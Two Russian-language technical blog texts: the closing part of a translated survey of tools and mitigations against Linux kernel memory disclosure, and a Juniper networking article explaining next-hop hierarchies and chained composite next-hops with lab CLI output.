Есть несколько доступных инструментов, главным образом ориентированных на разработчиков ядра, которые позволяют определить утечки или иные использования неинициализированной памяти в Linux. Самый простой из них — флаг компиляторов -Wuninitialized (и для gcc, и для LLVM), способный обнаруживать простые случаи неинициализированных чтений в рамках отдельных функций. Более продвинутым вариантом является [функция отладки kmemcheck](https://www.kernel.org/doc/html/v4.12/dev-tools/kmemcheck.html), которую можно рассматривать как эквивалент Valgrind'а для режима ядра. За счет значительных затрат на ЦП и память, динамическая проверка обнаруживает все случаи использования неинициализированной памяти. Но недавно эта функция была удалена из основного ядра, так как она уступает новым и более мощным [KernelAddressSANitizer](https://www.kernel.org/doc/html/latest/dev-tools/kasan.html) и [KernelMemorySANitizer](https://blog.linuxplumbersconf.org/2017/ocw/proposals/4825). В течение последних нескольких месяцев KMSAN в сочетании с [фаззером](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3) системных вызовов [syzkaller](https://github.com/google/syzkaller) (оценивающим покрытие тестируемых функций) [идентифицировал 19 сообщений о неинициализированной памяти](https://github.com/google/kmsan/wiki/KMSAN-Trophies), включая три утечки памяти ядра в пользовательское пространство.
Также были предприняты некоторые заметные попытки использовать статический анализ для обнаружения утечек данных ядра Linux. В 2014 — 2016 годах Peir´o и другие с использованием движка [Coccinelle](http://coccinelle.lip6.fr/) продемонстрировали успешную модель статических проверок, определяющих раскрытие стека в ядре Linux версии 3.12: "Detecting stack based kernel information leaks" International Joint Conference SOCO14-CISIS14-ICEUTE14, pages 321–331 (Springer, 2014) и "An analysis on the impact and detection of kernel stack infoleaks" Logic Journal of the IGPL. Модель проверки была основана на слежении за памятью стека, копируемой в пользовательское пространство и обнаружила восемь ранее неизвестных уязвимостей. В 2016-ом Lu и другие реализовали проект под названием UniSan — продвинутое побайтовое слежение, выполняемое во время компиляции, которое выявляет возможную утечку неинициализированной памяти со стеков и динамических выделений в один из внешних приемников данных: память пользовательского режима, файлы и сокеты. Хотя этот инструмент прежде всего предназначается для вычищения потенциальных небезопасных участков кода, авторы случайным образом выбрали и проанализировали примерно 20% из всех найденных проблем (350 из примерно 1800), в результате они сообщили о 19 новых уязвимостях в ядрах Linux и Android.
Наконец несколько авторов предложили еще один метод обнаружения утечек неинициализированной памяти ядра — многовариантное исполнение программы (multi-variant program execution), который основывается на одновременном выполнении нескольких копий одного и того же приложения, а затем сравнения результатов их работы. Если стабилизированы все известные легитимные источники энтропии на возврат детерминированных значений, то любые различия в выходных данных могут указывать на утечки неинициализированной памяти ядра. Недетерминизм может возникать из энтропии, введенной KASLR, или из байт-маркеров, используемых для инициализации выделения памяти стека или кучи ядра. Этот метод был реализован в виде программ пользовательского режима, в 2006 году появился проект DieHard: probabilistic memory safety for unsafe languages, а в 2017 году — BUDDY: Securing software systems by preventing information leaks. Аналогичный подход был рассмотрен John North в работе "Identifying Memory Address Disclosures" 2015-го года. Наконец, авторы SafeInit (Comprehensive and Practical Mitigation of Uninitialized Read Vulnerabilities) также заявили, что их инструмент предназначался как инструмент повышения качества программного обеспечения, но может быть совмещен с многовариантным исполнением программы для выявления подобных ошибок. Этот метод широко применяется для клиентских приложений, но, насколько нам известно, он не был успешно реализован для ядра Linux.
**Противодействие**
Основные методы противодействия раскрытию памяти ядра связаны с обнулением старых областей памяти для предотвращения наследования оставшегося содержимого новыми, не связанными объектами. Безусловным преимуществом этого метода является то, что он решает проблему на фундаментальном уровне: полностью устраняет угрозу неинициализированной памяти, одновременно уничтожая существующие и будущие утечки памяти ядра. Но только небольшая часть памяти, выделенная ядром, когда-либо копируется в пользовательский режим, а сброс всех областей памяти до или после использования несет значительные накладные расходы. Поиск оптимального баланса между производительностью системы и степенью защиты от раскрытия памяти в настоящее время является основным предметом обсуждения.
В основном ядре есть возможность включения опций CONFIG\_PAGE\_POISONING и CONFIG\_DEBUG\_SLAB, которые включают заполнение всей освобождаемой памяти байтами-маркерами. Поскольку все выделения памяти подвергаются заполнению байтами-маркерами, эти параметры значительно влияют на производительность. Но они не защищают выделения памяти на стеке, которые, стоит полагать, составляют большинство утечек памяти ядра в Linux.
Проект [grsecurity](https://grsecurity.net/)/[PaX](https://pax.grsecurity.net/) обеспечивает дополнительную безопасность системы. Кроме того, установка флага PAX\_MEMORY\_SANITIZE приводит к тому, что ядро начинает очищать страницы памяти и объекты [slab](https://ru.wikipedia.org/wiki/Slab), когда они освобождаются (за исключением белого списка с низким уровнем риска — по соображениям производительности). Кроме того, опция PAX\_MEMORY\_STRUCTLEAK предназначена для инициализации нулями объектов, расположенных на стеке (таких как структуры), если обнаружено их копирование в пользовательскую область. Это может предотвращать утечки через неинициализированные поля и padding-байты (выравнивания), но это относительно легкая функция может не покрывать все 100% случаев. Более исчерпывающий, но и более дорогостоящий вариант — PAX\_MEMORY\_STACKLEAK, который затирает использованную ядром часть стека перед возвратом из каждого системного вызова. Это устраняет любое раскрытие памяти стека, когда данные наследуются последующими системными вызовами, но не предотвращает утечку текущего уязвимого системного вызова. В настоящее время проект самозащиты ядра (Kernel Self Protection Project) производит портирование [механизма STACKLEAK](https://linuxpiter.com/en/materials/2344) в основное ядро.
Другие исследователи также предложили различные варианты обнуления объектов при выделении и освобождении в ядре Linux:
**Secure deallocation, Chow и другие, 2005**Chow, Jim and Pfaff, Ben and Garfinkel, Tal and Rosenblum, Mendel. Shredding Your Garbage: Reducing Data Lifetime Through Secure Deallocation. In USENIX Security Symposium, pages 22–22, 2005.
Безопасное освобождение, которое сокращает время жизни данных в памяти, полностью обнуляя память при освобождении или в некоторый короткий (но предсказуемый) период времени. Прототип концепции был реализован для приложений пользовательского режима Linux и менеджера выделений страниц ядра.
**Split Kernel, Kurmus и Zippel, 2014**Kurmus, Anil and Zippel, Robby. A tale of two kernels: Towards ending kernel hardening wars with split kernel. In Proceedings of the 2014 ACM SIGSAC Conference on Computer and Communications Security, pages 1366–1377. ACM, 2014.
Защищает систему от эксплуатации ненадежными процессами, очищая все фреймы стека ядра при входе в каждую защищаемую функцию.
**SafeInit, Milburn и другие, 2017**Milburn, Alyssa and Bos, Herbert and Giuffrida, Cristiano. SafeInit: Comprehensive and Practical Mitigation of Uninitialized Read Vulnerabilities. In Proceedings of the 2017 Annual Network and Distributed System Security Symposium (NDSS)(San Diego, CA), 2017.
Полностью очищает стеки и динамически выделенную память до того, как они будут использованы в коде, чтобы безусловно предотвратить утечки информации или использование неинициализированной памяти.
**UniSan, Lu и другие, 2016**Lu, Kangjie and Song, Chengyu and Kim, Taesoo and Lee, Wenke. UniSan: Proactive kernel memory initialization to eliminate data leakages. In Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security, pages 920–932. ACM, 2016.
Уменьшает накладные расходы SafeInit за счет выполнения расширенного отслеживания памяти во время компиляции, чтобы определить, какие выделения памяти безопасны даже без обнуления, при этом очищая остальную память объектов, расположенных на стеке и в куче.
Из всего вышесказанного можно сделать обоснованный вывод, что Linux подвергся обширным экспериментам в области управления временем жизни объектов и раскрытия памяти ядра.
Вместо эпилога (от переводчика)
-------------------------------
Несколько лет назад в моей практике был случай, когда коллега написал код, который раскрывал адреса объектов привилегированного процесса для непривилегированного процесса (в качестве уникальных идентификаторов этих самых объектов). Что примечательно: адреса (идентификаторы), полученные обратно от непривилегированного процесса, верифицировались, что говорит о том, что человек (в какой-то мере) задумывался о безопасности своего кода. Как мне кажется, тема раскрытия памяти является отчасти недооценённой в рамках информационной безопасности. Поэтому, надеюсь, что этот перевод будет полезен широкому кругу программистов.
За рамками перевода остались главы, содержащие специфику реализации слежения за ядром ОС на предмет обнаружения раскрытия памяти ядра:
* Bochspwn Reloaded – detection with software x86 emulation
* Windows bug reproduction techniques
* Alternative detection methods
* Other data sinks
* Future work
* Other system instrumentation schemes
Спасибо всем, кто дочитал до конца :) Было бы очень интересно узнать мнение аудитории об этой публикации, поэтому приглашаю всех принять участие в голосовании. | https://habr.com/ru/post/415685/ | null | ru | null |
# Juniper: composite-next-hop
В статье о EVPN я упомянул о необходимости во включении composite-next-hop для работы EVPN, после чего как минимум 10 человек задали мне один и тот же вопрос — что же такое composite-next-hop. И я так полагаю, что composite-next-hop для многих является загадочной технологией, позволяющей резко уменьшить количетсво next-hop-ов. Очень хорошо эта тема раскрыта в книге “MPLS in SDN era”, я же на основании статьи из данной книги вкратце опишу как это работает.
Думаю что все инженеры, имеющие дело с маршрутизаторами знают, что существует routing information base (RIB) и FIB (forwarding information base). RIB составляется на основании информации, полученной от протоколов динамической маршрутизации, а также на основании статических маршрутов и connected интерфейсов. Каждый протокол, будь то bgp или isis инсталируют маршруты в свою базу данных из которых лучшие маршруты на основании protocol preference (administrative distance в терминах циско) уже инсталлируются в таблицу маршрутизации (RIB) и, что очень важно, именно из RIB маршруты начинают анонсироваться далее. Вот к примеру запись в rib маршрута до префикса 10.0.0.0/24:
```
bormoglotx@RZN-PE2> show route table VRF1.inet.0 10.0.0.0/24
VRF1.inet.0: 8 destinations, 13 routes (8 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
10.0.0.0/24 *[BGP/170] 15:42:58, localpref 100, from 62.0.0.64
AS path: I, validation-state: unverified
to 10.0.0.0 via ae0.1, Push 16
> to 10.0.0.6 via ae1.0, Push 16, Push 299888(top)
[BGP/170] 15:42:58, localpref 100, from 62.0.0.65
AS path: I, validation-state: unverified
to 10.0.0.0 via ae0.1, Push 16
> to 10.0.0.6 via ae1.0, Push 16, Push 299888(top)
```
RIB нам предоставляет полную информацию по каждому маршруту, такую как: протокол, который инсталировал данный маршрут, метрика маршрута, наличие эквивалентных путей, коммьюнити и т д, а также причины неактивности маршрута в настоящее время. Но RIB — это control plane в чистом виде, и использовать данную таблицу для форвардинга маршрутизатору не удобно. Поэтому на основании RIB маршрутизатор (если быть точнее это делает RE) формирует FIB и отправляет ее на все PFE. В FIB уже нет избыточной информации о протоколах и метриках — все что PFE надо знать, это сам префикс, next-hop, через который данный префикс доступен, а так же метки, которые надо навесить при отправке пакета:
```
bormoglotx@RZN-PE2> show route forwarding-table vpn VRF1 destination 10.0.0.0/24
Routing table: VRF1.inet
Internet:
Destination Type RtRef Next hop Type Index NhRef Netif
10.0.0.0/24 user 0 indr 1048576 4
ulst 1048575 2
0:5:86:71:49:c0 Push 16 572 1 ae0.1
0:5:86:71:9d:c1 Push 16, Push 299888(top) 583 1 ae1.0
```
Примечание: Обычно в FIB попадет только один маршрут, но у нас используется балансировка по ECMP и RE отправляет на PFE два маршрута, если есть эквивалентный путь.
Сегодня мы о next-hop-ах и поговорим. На оборудовании Juniper существует несколько типов next-hop-ов:
```
VMX(RZN-PE2 vty)# show nhdb summary detail
Type Count
--------- ---------
Discard 18
Reject 17
Unicast 47
Unilist 4
Indexed 0
Indirect 4
Hold 0
Resolve 5
Local 20
Recv 17
Multi-RT 0
Bcast 9
Mcast 11
Mgroup 3
mdiscard 11
Table 17
Deny 0
Aggreg. 18
Crypto 0
Iflist 0
Sample 0
Flood 0
Service 0
Multirtc 0
Compst 7
DmxResolv 0
DmxIFL 0
DmxtIFL 0
LITAP 0
Limd 0
LI 0
RNH_LE 0
VCFI 0
VCMF 0
```
Многие из них интуитивно понятны, часть из представленных выще вы вообще не встретите в своей практике. Мы же остановимся на некоторых из вышеперечисленных и начнем с простого прямого next-hop-а, которые в терминах Juniper называется unicast.
**Unicast next-hop.**
```
604(Unicast, IPv4->MPLS, ifl:340:ge-0/0/2.0, pfe-id:0) <<<<<<
605(Unicast, IPv4->MPLS, ifl:341:ge-0/0/3.0, pfe-id:0) <<<<<<
606(Unicast, IPv4->MPLS, ifl:342:ge-0/0/4.0, pfe-id:0) <<<<<<
```
Самый простой вид next-hop-а — это прямой next-hop. Он указывает прямиком на физический интерфейс, через который префикс доступен. Если бы данный тип next-hop-а был единственным, то для каждого префикса создавался бы отдельный next-hop и не важно в какой таблице маршрутизации этот префикс находится — в vrf или grt. Да, это очень просто и понятно, но не все что с первого взгляда понятно инженеру — значит хорошо. Приведем пример: если у нас будет 100 vrf-ов, в каждом из которых будет по 100 префиксов, то мы получим 10 000 физических next-hop-ов (это только для vrf-ных префиксов). Прибавьте еще маршруты протоколов isis, ldp, rsvp и т д.
> Примечание: для простоты рассуждений и более простого понимания будем считать, что у нас нет эквивалентных путей и агрегационных интерфейсов. Об иерархии next-hop-ов при наличии оных мы поговорим чуть позже.
В итоге лимита по next-hop-ам вы можете достичь очень быстро. Но это не главная проблема — сейчас железки выдерживают более 1М IPv4 префиксов в FIB. Дело в том, что в случае падения одного из интерфейсов и пересчете маршрутов, маршрутизатору придется перезаписать все next-hop-ы, которые в данный момент установлены в таблице форвардинга (в нашем случае все 10 000). Да, igp маршруты перезапишутся быстро — их не так много, а вот с vpnv4/l2vpn/evpn маршрутов как правило по несколько десятков (порой и сотен) тысяч. Естественно перезапись такого количества next-hop-ов будет занимать какое то время и вы можете потеряете часть трафика. И это мы в расчет еще не брали возможность наличия на коробке FW, которая сейчас насчитывает 645К маршрутов.
Самое интересное при использовании прямого next-hop-а то, что даже если все эти 10 000 префиксов будут прилетать с одной и той же PE-ки (то есть иметь один и тот же protocol next-hop), то все равно придется обновить все 10 000 next-hop-ов. А ведь если подумать логически, то по факту в данной ситуации у нас то будет всего 100 уникальных next-hop-ов (при условии распределения сервисных меток per-vrf), которые отличаются только сервисной меткой — транспортная метка и исходящий интерфейс будут абсолютно одинаковы. Сейчас прямой next-hop для префиксов в vrf вы не найдете (на Junos во всяком случае) — если быть точнее, то на картах с TRIO чипсетом вы даже при всем желании не сможете включить прямой next-hop для L3VPN и других сервисов — это просто не поддерживается. Но отказаться от него совсем тоже не получится — unicast next-hop указывает прямиком в интерфейс в который надо отправить пакет и при использовании иерархического next-hop (о котором мы поговори позже) на последнем уровне иерархии будет именно unicast next-hop. Ну а как иначе? Следует упомянуть, что помимо исходящего интерфейса данный вид next-hop-а включает и стек меток и инкапсуляцию, но об этом позже.
Выглядит unicast next-hop для маршрут, полученного по isis, вот так:
```
bormoglotx@RZN-PE2> show route forwarding-table destination 10.0.0.2/31 table default
Routing table: default.inet
Internet:
Destination Type RtRef Next hop Type Index NhRef Netif
10.0.0.2/31 user 0 10.0.0.6 ucst 693 19 ae1.0
bormoglotx@RZN-PE2> show route forwarding-table destination 10.0.0.2/31 table default extensive
Routing table: default.inet [Index 0]
Internet:
Destination: 10.0.0.2/31
Route type: user
Route reference: 0 Route interface-index: 0
Multicast RPF nh index: 0
Flags: sent to PFE, rt nh decoupled
Nexthop: 10.0.0.6
Next-hop type: unicast Index: 693 Reference: 19
Next-hop interface: ae1.0
```
**Aggregate next-hop**
```
584(Aggreg., IPv4, ifl:326:ae0.1, pfe-id:0) <<<<<<<<
585(Unicast, IPv4, ifl:337:ge-0/0/0.1, pfe-id:0)
586(Unicast, IPv4, ifl:339:ge-0/0/1.1, pfe-id:0)
603(Aggreg., IPv4->MPLS, ifl:327:ae1.0, pfe-id:0) <<<<<<<
604(Unicast, IPv4->MPLS, ifl:340:ge-0/0/2.0, pfe-id:0)
605(Unicast, IPv4->MPLS, ifl:341:ge-0/0/3.0, pfe-id:0)
606(Unicast, IPv4->MPLS, ifl:342:ge-0/0/4.0, pfe-id:0)
```
Тут все очень просто — думаю вы сами догадываетесь, что эта иерархия появляется, когда у нас префикс виден через агрегационный интерфейс. Агрегационный next-hop по сути это лист из реальных next-hop-ов (физических интерфейсов), которые входят в агрегат. Если вы используете агрегаты, то количество next-hop-ов увеличивается пропорционально количеству линков в агрегате. В выводе выше вы видите два Aggregate next-hop-а, каждый из которых в свою очередь указывают на физические next-hop-ы, которые в эти агрегаты и входят.
**Unilist-next-hop**
```
1048574(Unilist, IPv4, ifl:0:-, pfe-id:0) <<<<<<<<
584(Aggreg., IPv4, ifl:326:ae0.1, pfe-id:0)
585(Unicast, IPv4, ifl:337:ge-0/0/0.1, pfe-id:0)
586(Unicast, IPv4, ifl:339:ge-0/0/1.1, pfe-id:0)
603(Aggreg., IPv4->MPLS, ifl:327:ae1.0, pfe-id:0)
604(Unicast, IPv4->MPLS, ifl:340:ge-0/0/2.0, pfe-id:0)
605(Unicast, IPv4->MPLS, ifl:341:ge-0/0/3.0, pfe-id:0)
606(Unicast, IPv4->MPLS, ifl:342:ge-0/0/4.0, pfe-id:0)
```
Собственно это тоже очень простая иерархия и чем то сходна с aggregate. Появляется она только тогда, когда у нас есть эквивалентные пути и по своей сути это просто перечисление всех эквивалентных путей. В нашем случае у нас два эквивалентных пути и оба через агрегаты.
> Примечание: в нашем случае звезды сошлись так, что unicast id (585, 586) идут по порядку после Aggregate id (584) (в плане цифр, а не в порядке в иерархии), но это не всегда так.
Все перечисленные next-hop-а не помогают сократить количество физических next-hop-ов, а наоборот увеличивают их количество. Следующие два вида next-hop-а предназначены для оптимизации FIB и сокращения количества unicast next-hop-ов.
**Indirect next-hop.**
```
1048577(Indirect, IPv4, ifl:327:ae1.0, pfe-id:0, i-ifl:0:-) <<<<<<
1048574(Unilist, IPv4, ifl:0:-, pfe-id:0)
584(Aggreg., IPv4, ifl:326:ae0.1, pfe-id:0)
585(Unicast, IPv4, ifl:337:ge-0/0/0.1, pfe-id:0)
586(Unicast, IPv4, ifl:339:ge-0/0/1.1, pfe-id:0)
603(Aggreg., IPv4->MPLS, ifl:327:ae1.0, pfe-id:0)
604(Unicast, IPv4->MPLS, ifl:340:ge-0/0/2.0, pfe-id:0)
605(Unicast, IPv4->MPLS, ifl:341:ge-0/0/3.0, pfe-id:0)
606(Unicast, IPv4->MPLS, ifl:342:ge-0/0/4.0, pfe-id:0)
```
Дословно слово indirect переводится как непрямой. Данный тип next-hop-а используется для сокращение количества физических next-hop-ов. Все же 10 000 next-hop-ов, которые мы получили методом несложных вычислений при рассмотрении unicast next-hop-а как то слишком много. Теперь почитаем наши next-hop-а снова. У нас есть 100 vrf-ов, в которых по 100 префиксов (префиксы генерируются per-vrf) и анонсируются с одной и той же PE-ки. Получается, что у всех этих префиксов в таком сценарии будет один и тот же protocol-next-hop (лупбек удаленной PE-ки) и исходящий интерфейс (ну и как следствие одинаковая транспортная метка). Разница будет только в сервисной метке. Но так как метки мы генерируем per-vrf, то у нас всего будет 100 меток. В итоге мы получаем что 10 000 прямых next-hop-ов можно съагрегировать в 100 next-hop-ов, которые будут иметь абсолютно одинаковый стек меток.
Концепция indirect next-hop-а позволяет для всех префиксов, которые достижимы через один и тот же protocol next-hop использовать один и тот же indirect-next-hop. Хотелось бы акцентировать внимание читателя, что агрегация происходит именно по protocol next-hop, так как сервисной метки может вообще не быть (например маршруты в интернет), но ее наличие оказывает большое влияние на indirect-next-hop.
Увы, но основной проблемой indirect-next-hop-а является то, что он ссылается на unicast-next-hop, в котором указывается полный стек меток, включая и сервисную метку:
```
bormoglotx@RZN-PE2>show route forwarding-table table VRF1 destination 10.2.0.0/24 extensive
Routing table: VRF1.inet [Index 9]
Internet:
Destination: 10.2.0.0/24
Route type: user
Route reference: 0 Route interface-index: 0
Multicast RPF nh index: 0
Flags: sent to PFE
Next-hop type: indirect Index: 1048587 Reference: 2
Nexthop: 10.0.0.6
Next-hop type: Push 24008, Push 299920(top) Index: 706 Reference: 2
Load Balance Label: None
Next-hop interface: ae1.0
```
Эта строчка описывает полный стек меток:
```
Next-hop type: Push 24008, Push 299920(top) Index: 706 Reference: 2
```
Как видите метка 24008 является сервисной меткой и включена в стек на последнем уровне иерархии next-hop. Исходя из этого невозможно, чтобы несколько indirect-next-hop-ов указывали в один и тот же физический — сервисная метка у всех то разная. К тому же например у L2CKT и VPLS используют разную инкапсуляцию. Поэтому при определенных условиях, описанных выше, indirect-next-hop может не дать никакого профита.
Не трудно догадаться, что если мы будем использовать распределение меток per-prefix (по какой то неизвестной мне причине этот метод распределения меток используется по дефолту на Cisco и Huawei), то indirect-next-hop нам не особо помжет, так как теперь у нас на каждый префикс будет отдельная сервисная метка. В итоге мы не можем несколько префиксов объединить в один next-hop, так как они хоть и достижимы через один и тот же protocol next-hop, но имеют разную сервисную метку, что в итоге в самом плохом для нас сценарии приводит к появлению 10 000 next-hopов, правда не прямых а indirect. Получилось как в пословице-”хрен редьки не слаще“… Плюс ко всему прочему у всех L2CKT, даже если они будут терминироваться на одной и той же паре PE-шек, будут разные метки (и тут уже вообще ничего не поделаешь — генерировать одну метку на несколько L2CKT-ов никак не получится). Как разработчики победили эту проблему будет описано далее.
Конечно, в реальных условиях indirect-next-hop позволяет нам значительно сократить количество next-hop-ов (так как мало кто не использует vrf-table-label или распределение меток per-vrf). К тому же на Juniper MX indirect-net-hop включен по умолчанию и отключить эту функцию не получится. К тому же если у вас есть FW на маршрутизаторе, то у этих префиксов вообще не будет сервисной метки (если вы FW в vrf не засунули конечно) и для всех префиксов в интернет будет один и тот же inirect-next-hop.
Но ведь нет предела совершенству и нам хочется еще более масштабируемое решение. К тому же повторюсь, но L2CKT-ты всегда будут иметь разные сервисные метки, а значит и разные indirect next-hop-ы. Решение, которые позволяет исправить эту проблему называется chained-composite-next-hop (в терминах Juniper, у Cisco несколько иначе).
**Chained-composite-next-hop**
```
607(Compst, IPv4->MPLS, ifl:0:-, pfe-id:0, comp-fn:Chain) <<<<<<<
1048577(Indirect, IPv4, ifl:327:ae1.0, pfe-id:0, i-ifl:0:-)
1048574(Unilist, IPv4, ifl:0:-, pfe-id:0)
584(Aggreg., IPv4, ifl:326:ae0.1, pfe-id:0)
585(Unicast, IPv4, ifl:337:ge-0/0/0.1, pfe-id:0)
586(Unicast, IPv4, ifl:339:ge-0/0/1.1, pfe-id:0)
603(Aggreg., IPv4->MPLS, ifl:327:ae1.0, pfe-id:0)
604(Unicast, IPv4->MPLS, ifl:340:ge-0/0/2.0, pfe-id:0)
605(Unicast, IPv4->MPLS, ifl:341:ge-0/0/3.0, pfe-id:0)
606(Unicast, IPv4->MPLS, ifl:342:ge-0/0/4.0, pfe-id:0)
```
Как мы выяснили indirect-next-hop — это матрешка из next-hop-ов. Точно такая же матрешка и chained-composite-next-hop, но теперь у нас появился еще один уровень в иерархии. Как еще можно объединить префиксы по группам и ассоциировать их с одним и тем же next-hop-ом? Что еще общего у всех L3VPN или всех L2CKT-ов? Верно — это семейство адресов. На самой вершине иерархии next-hop-а находится composite next-hop, который объединяет маршруты по сервисной метке, но в отличии от indirect-next-hop-а, composite next-hop ссылается на эту метку. То есть сервисная метка теперь указывается не на самом последнем уровне иерархии — uniast, а на первом уровне иерархии. Это позволяет победить ту проблему, которую мы обозначили при обсуждении indirect-next-hop. Для примера посмотрим на запись в FIB для того же префикса 10.2.0.0/24 но уже со включенным composite-next-hop:
```
bormoglotx@RZN-PE2> show route forwarding-table table VRF1 destination 10.2.0.0/24 extensive
Routing table: VRF1.inet [Index 9]
Internet:
Destination: 10.2.0.0/24
Route type: user
Route reference: 0 Route interface-index: 0
Multicast RPF nh index: 0
Flags: sent to PFE
Nexthop:
Next-hop type: composite Index: 608 Reference: 2
Load Balance Label: Push 24008, None
Next-hop type: indirect Index: 1048578 Reference: 3
Nexthop: 10.0.0.6
Next-hop type: Push 299920 Index: 664 Reference: 3
Load Balance Label: None
Next-hop interface: ae1.0
```
В строке Load Balance Label указана сервисная метка
```
Load Balance Label: Push 24008, None
```
Методом банальной эрудиции можно прийти к следующему выводу: сколько у нас будет сервисных меток, cтолько будет и composite next-hop-ов. На следующем уровне иерархии располагается indirect next-hop, правда немного не тот, который мы обсудили ранее. При использовании композитного next-hop-а прерогатива indirect-next-hop-а заключается в том, что он производит агрегацию по семейству адресов и protocol-next-hop-у. То есть, как вы понимаете, для всех vpnv4 префиксов, которые имеют одинаковый protocol next-hop будет один и тот же indirect-next-hop. Ну а далее indirect-next-hop будет указывать в реальный next-hop (как правило или в unilist или aggregate). Самое главное то, что теперь несколько indirect-next-hop-ов могут указывать на один и тот же unilist next-hop, так как теперь в unilist next-hop-е указывается не полный стек меток, а только транспортная метка, а как вы понимаете, до одной и той же PE-ки будет одна и та же транспортная метка.
Теперь вернемся к рассматриваемому нами случаю со 100 vrf-ми. В самом плохом сценарии при использовании indirect-next-hop мы получили 10 000 indirect next-hop-ов ну и, как следствие, столько же реальных next-hop-ов. Теперь посмотрим, что даст нам composite-next-hop. Сначала идет иерархия composite next-hop, и при условии, что метки у нас генерируются per-prefix, мы получим 10 000 различных сервисных меток а значит столько же composite-next-hop-ов. Но, в отличии от предыдущего случая, composite next-hop будет ссылаться не на реальный next-hop, а на indirect-next-hop, который агрегирует vpnv4 префиксы назначения по семейству адресов и protocol next-hop. А это очень резко сокращает количество реальных next-hop-ов. В нашем сценарии всего одно семейство адресов — vpnv4 и один protocol-net-hop, а значит все 10 000 composite-next-hop-ов будут ссылаться на один единственный indirect next-hop, а он, в свою очередь будет указывать в один реальный next-hop! То есть мы в итоге получили всего один реальный next-hop!
Могу сказать из собственной практики, что включение composite-next-hop для ingress lsp позволяет в 5-8 раз сократить общее число next-hop-ов (к примеру, ральный показатель, уменьшение с 1,1М next-hop-ов (до включения данной функции) до 170К (после ее включения), то есть сокращение в 6,5 раза — согласитесь, неплохой показатель).
> Примечание: при включении composite-next-hop вы не будите видеть в таблице форвардинга стек меток, так как он указывается в двух иерархиях и выводится только при extensive выводах, для примера:
>
>
>
> *Indirect-next-hop:*
>
>
>
>
> ```
> bormoglotx@RZN-PE2> show route forwarding-table table VRF1 destination 10.0.0.0/24
> Routing table: VRF1.inet
> Internet:
> Destination Type RtRef Next hop Type Index NhRef Netif
> 10.0.0.0/24 user 0 indr 1048578 4
> ulst 1048577 2
> 0:5:86:71:49:c0 Push 16 699 1 ae0.1
> 0:5:86:71:9d:c1 Push 16, Push 299888(top) 702 1 ae1.0
> ```
>
>
> *Composite-next-hop:*
>
>
>
>
> ```
> bormoglotx@RZN-PE2> show route forwarding-table table VRF1 destination 10.0.0.0/24
> Routing table: VRF1.inet
> Internet:
> Destination Type RtRef Next hop Type Index NhRef Netif
> 10.0.0.0/24 user 0 comp 608 2
> ```
>
> Примечание: если в составе шасси Juniper MX есть DPC платы (кроме сервисных), то включить composite-next-hop не получится, о чем говорит данное сообщение на сайте Juniper:
>
>
>
> On MX Series 3D Universal Edge Routers containing both DPC and MPC FPCs, chained composite next hops are disabled by default. To enable chained composite next hops on the MX240, MX480, and MX960, the chassis must be configured to use the enhanced-ip option in network services mode.
>
>
>
> Тут прямо не сказано, что включить не получится, но кому то может оказаться сюрпризом, но DPC платы не поддерживают работу в режиме enhanced-ip:
>
>
>
> Only Multiservices DPCs (MS-DPCs) and MS-MPCs are powered on with the enhanced network services mode options. No other DPCs function with the enhanced network services mode options.
Но не стоит думать, что composite next-hop нужен исключительно на PE маршрутизаторах, хотя пригодится он в основном на них (просто на Р-как как правило маршрутов не так много). Composite-next-hop можно включить для ingress lsp (на PE) и для transite lsp (на P). Кроме того возможно у вас будут стероидные PE-ки, которые будут выполнять и роль P-маршутизаторов (ну или ваш дизайн сети вообще не предусматривает FREE CORE), либо у вас ядро (P-level) будет получать маршруты в другие автономные системы (Option C) не через редистрибуцию BGP-LU маршрутов в igp на бордерах, а через BGP-Labeled unicast сессии с рефлекторами.
Если для ingress lsp мы можем включить composite-next-hop только для сервисов типа L3VPN, L2VPN, EVPN, а так же BGP-LU:
```
evpn Create composite-chained nexthops for ingress EVPN LSPs
fec129-vpws Create composite-chained nexthops for ingress fec129-vpws LSPs
l2ckt Create composite-chained nexthops for ingress l2ckt LSPs
l2vpn Create composite-chained nexthops for ingress l2vpn LSPs
l3vpn Create composite-chained nexthops for ingress l3vpn LSPs
labeled-bgp Create composite-chained nexthops for ingress labeled-bgp LSPs
```
То для транзитных устройств доступны опции composite next-hop для LDP, RSVP и даже static lsp:
```
l2vpn Create composite-chained nexthops for transit l2vpn LSPs
l3vpn Create composite-chained nexthops for transit l3vpn LSPs
labeled-bgp Create composite-chained nexthops for transit labeled BGP routes
ldp Create composite-chained nexthops for LDP LSPs
ldp-p2mp Create composite-chained nexthops for LDP P2MP LSPs
rsvp Create composite-chained nexthops for RSVP LSPs
rsvp-p2mp Create composite-chained nexthops for RSVP p2mp LSPs
static Create composite-chained nexthops for static LSPs
```
Это позволяет существенно сократить количество next-hop-ов для транзитных lsp. Для примера у меня в лабе всего 5 устройств — то есть таблица mpls.0 на P-ке выглядит мягко говоря маленькой:
```
bormoglotx@RZN-P2> show route table mpls.0 | find ^2[0-9]+
299872 *[LDP/9] 1w1d 12:59:13, metric 1
> to 10.0.0.5 via ae0.0, Pop
299872(S=0) *[LDP/9] 1w1d 12:59:13, metric 1
> to 10.0.0.5 via ae0.0, Pop
299888 *[LDP/9] 1w1d 12:58:30, metric 1
> to 10.0.0.5 via ae0.0, Swap 299792
299904 *[LDP/9] 1w1d 12:55:57, metric 1
> to 10.0.0.7 via ae1.0, Pop
299904(S=0) *[LDP/9] 1w1d 12:55:57, metric 1
> to 10.0.0.7 via ae1.0, Pop
299920 *[LDP/9] 1w1d 12:47:06, metric 1
> to 10.0.0.5 via ae0.0, Swap 299824
```
Но вот эффект от включения composite-next-hop для LDP будет уже виден даже в такой маленькой лаборатории. Вот суммарное количество net-hop-ов до включения composite-next-hop:
```
VMX(RZN-P2 vty)# show nhdb summary
Total number of NH = 116
VMX(RZN-P2 vty)# show nhdb summary detail
Type Count
--------- ---------
Discard 12
Reject 11
Unicast 32 <<<<<<<<<<<<<<
Unilist 0
Indexed 0
Indirect 0
Hold 0
Resolve 2
Local 13
Recv 8
Multi-RT 0
Bcast 4
Mcast 7
Mgroup 1
mdiscard 7
Table 11
Deny 0
Aggreg. 8 <<<<<<<<<<<<<<
Crypto 0
Iflist 0
Sample 0
Flood 0
Service 0
Multirtc 0
Compst 0 <<<<<<<<<<<<<<
DmxResolv 0
DmxIFL 0
DmxtIFL 0
LITAP 0
